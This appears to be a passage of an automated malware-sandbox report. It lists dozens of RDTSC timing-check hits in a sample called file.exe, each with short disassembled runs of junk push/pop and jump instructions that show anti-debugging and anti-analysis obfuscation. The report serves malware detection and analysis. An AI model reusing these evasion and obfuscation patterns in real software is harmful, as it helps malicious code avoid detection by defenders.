Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79422 second address: E79428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8110E second address: E81118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B45 second address: E80B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28606BF76Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80B56 second address: E80B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80CDA second address: E80CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F28606BF766h 0x0000000a jne 00007F28606BF76Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ED95 second address: E8ED9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ED9F second address: E8EDA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E921F6 second address: E921FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96EDC second address: E96EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96EE0 second address: E96EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96EE4 second address: E96F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F28606BF776h 0x0000000b pushad 0x0000000c jmp 00007F28606BF776h 0x00000011 jg 00007F28606BF777h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8E87 second address: DB8E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB5F second address: E9FB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB63 second address: E9FB93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F286071A1BFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f ja 00007F286071A1B6h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop ebx 0x00000018 jns 00007F286071A1BEh 0x0000001e jc 00007F286071A1B6h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB93 second address: E9FB9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB9B second address: E9FB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB9F second address: E9FBA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FBA3 second address: E9FBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2B49 second address: EA2B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF76Fh 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2B60 second address: EA2B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F286071A1C6h 0x00000008 jc 00007F286071A1B6h 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 je 00007F286071A1FAh 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA41E3 second address: EA41E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA41E7 second address: EA4201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F286071A1CFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4201 second address: EA4235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28606BF773h 0x00000009 jmp 00007F28606BF773h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007F28606BF766h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA942F second address: EA944B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F286071A1C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA944B second address: EA944F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA944F second address: EA9457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA972C second address: EA9730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9730 second address: EA9736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9736 second address: EA973C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA973C second address: EA9746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9746 second address: EA9754 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9754 second address: EA975A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A2D second address: EA9A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A31 second address: EA9A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F286071A1B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A3F second address: EA9A45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9B63 second address: EA9B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9B6E second address: EA9B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9CDA second address: EA9CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9CE4 second address: EA9CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F28606BF76Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA747 second address: EAA74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA74D second address: EAA765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Eh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA765 second address: EAA77D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC13A3 second address: DC13AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F28606BF766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9571 second address: EB9581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007F286071A1B6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9581 second address: EB95AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F28606BF773h 0x0000000e jl 00007F28606BF766h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB942A second address: EB9430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEFE0 second address: EBEFF0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F28606BF766h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE61 second address: EBEE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6960 second address: EE699F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F28606BF779h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e js 00007F28606BF782h 0x00000014 jnl 00007F28606BF76Ch 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jnp 00007F28606BF766h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE733F second address: EE735E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F286071A1C8h 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA1BD second address: EEA1E4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F28606BF779h 0x00000008 jmp 00007F28606BF773h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F28606BF766h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA3E6 second address: EEA3F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F286071A1B6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA3F9 second address: EEA3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA3FD second address: EEA403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA403 second address: EEA415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28606BF76Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA585 second address: EEA5BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F286071A1C0h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F286071A1BAh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5BD second address: EEA5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5C1 second address: EEA5C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA5C7 second address: EEA5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F28606BF766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA7F2 second address: EEA7FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F286071A1B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA7FC second address: EEA820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF778h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80232 second address: 4E80236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80236 second address: 4E8023C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8023C second address: 4E80285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F286071A1BBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F286071A1C6h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F286071A1C0h 0x0000001c pop ebp 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov cl, D9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802E9 second address: 4E80358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F28606BF76Bh 0x00000009 add cl, 0000005Eh 0x0000000c jmp 00007F28606BF779h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esp], ebp 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c mov bh, ch 0x0000001e popad 0x0000001f pushad 0x00000020 mov si, bx 0x00000023 jmp 00007F28606BF777h 0x00000028 popad 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F28606BF775h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80358 second address: 4E80375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, dx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05BAC second address: E05BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05BB0 second address: E05BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05BB6 second address: E05BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F28606BF766h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F28606BF774h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803AA second address: 4E803E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F286071A1C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803E4 second address: 4E803F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803F3 second address: 4E803F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803F9 second address: 4E803FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803FD second address: 4E80401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80401 second address: 4E80439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F28606BF76Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F28606BF770h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F28606BF76Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80439 second address: 4E80448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80448 second address: 4E80460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28606BF774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8051D second address: 4E80523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80523 second address: 4E8053F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8053F second address: 4E80543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80543 second address: 4E80560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80560 second address: 4E8057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cl, B5h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8057E second address: 4E80584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80584 second address: 4E80588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80588 second address: 4E8058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8058C second address: 4E8059F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a pushad 0x0000000b mov ebx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ax, AECDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8059F second address: 4E805DA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F28606BF76Ah 0x00000008 sub ecx, 7445A3E8h 0x0000000e jmp 00007F28606BF76Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov al, byte ptr [edx] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F28606BF775h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805DA second address: 4E8060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov eax, 6D5FA9BFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e inc edx 0x0000000f pushad 0x00000010 mov eax, 363311B7h 0x00000015 mov si, 1253h 0x00000019 popad 0x0000001a test al, al 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F286071A1C0h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8060A second address: 4E8060E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8060E second address: 4E80614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80614 second address: 4E805DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F28606BF6FBh 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F28606BF775h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80634 second address: 4E80669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 call 00007F286071A1BAh 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f sub edx, esi 0x00000011 jmp 00007F286071A1BEh 0x00000016 mov edi, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F286071A1BAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80669 second address: 4E8066F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8066F second address: 4E8068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f mov ecx, ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8068A second address: 4E8069D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, EEh 0x00000005 push edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea ebx, dword ptr [edi+01h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8069D second address: 4E806A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
